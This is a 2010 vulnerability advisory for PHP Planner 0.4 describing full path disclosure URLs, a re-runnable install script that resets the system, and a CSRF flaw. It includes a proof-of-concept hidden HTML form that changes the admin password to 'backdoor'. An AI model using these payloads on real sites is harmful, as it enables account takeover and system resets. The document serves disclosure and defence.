PHP Planner 0.4 Cross Site Request Forgery

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# Title: phpplanner <= PHP Planner v.0.4 Multiple Vulnerabilities  
# Date: 13/05/10  
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il  
# Software Link: http://phpplanner.sourceforge.net/  
# Version: <= v.0.4  
# Tested on: PHP  
#  
##[Full Path Disclosure]  
(Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the  
path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain  
vulnerabilities, such as using the load_file() (within a SQL Injection)  
query to view the page source, require the attacker to have the full path to  
the file they wish to view. (OWASP))  
#  
http://[server]/phpplanner/manage.php?stamp=cP  
http://[server/phpplanner/index.php?view=cP  
#  
Will returne:  
#  
Warning: strftime() expects parameter 2 to be long, string given in  
[FPD]\phpplanner\lib\functions.php on line 87  
#and:  
Warning: date() expects parameter 2 to be long, string given in  
[FPD]\phpplanner\common.php on line 180  
#  
##[Remote System Init]  
Install_mysql.php's role is to create the database tables during  
installation of the system.  
After the end of his job, his name will be changed to  
"Install_mysql.php.lock":  
(rename(__FILE__,__FILE__ . '.lock');)  
#  
If the attacker will enter to this page (.php.lock) the code will run again  
and will reset the system.  
#  
##[Cross Site Request Forgery]  
(CSRF is an attack which forces an end user to execute unwanted actions on a  
web application in which he/she is currently authenticated. With a little  
help of social engineering (like sending a link via email/chat), an attacker  
may force the users of a web application to execute actions of the  
attacker's choosing. A successful CSRF exploit can compromise end user data  
and operation in case of normal user. If the targeted end user is the  
administrator account, this can compromise the entire web application.)  
(OWASP))  
#  
http://[server]/phpplanner/user_edit.php  
#  
To change the user's password:  
#  
HTTP GET: /user_edit.php  
HTTP POST: edtUsername = [victim's user name] && edtPassword = backdoor &&  
edtPassword2 =backdoor  
#  
PoC:  
#  
<form name="form1" method="post" action="http://  
[server]/phpplanner/user_edit.php">  
<input name="edtUsername" type="hidden" size="60"  
value="admin">  
<input name="edtPassword" type="hidden" size="60"  
value="backdoor">  
<input name="edtPassword2" type="hidden" size="60"  
value="backdoor">  
</form>  
  
#  
#  
[e0f]  
  
  
  
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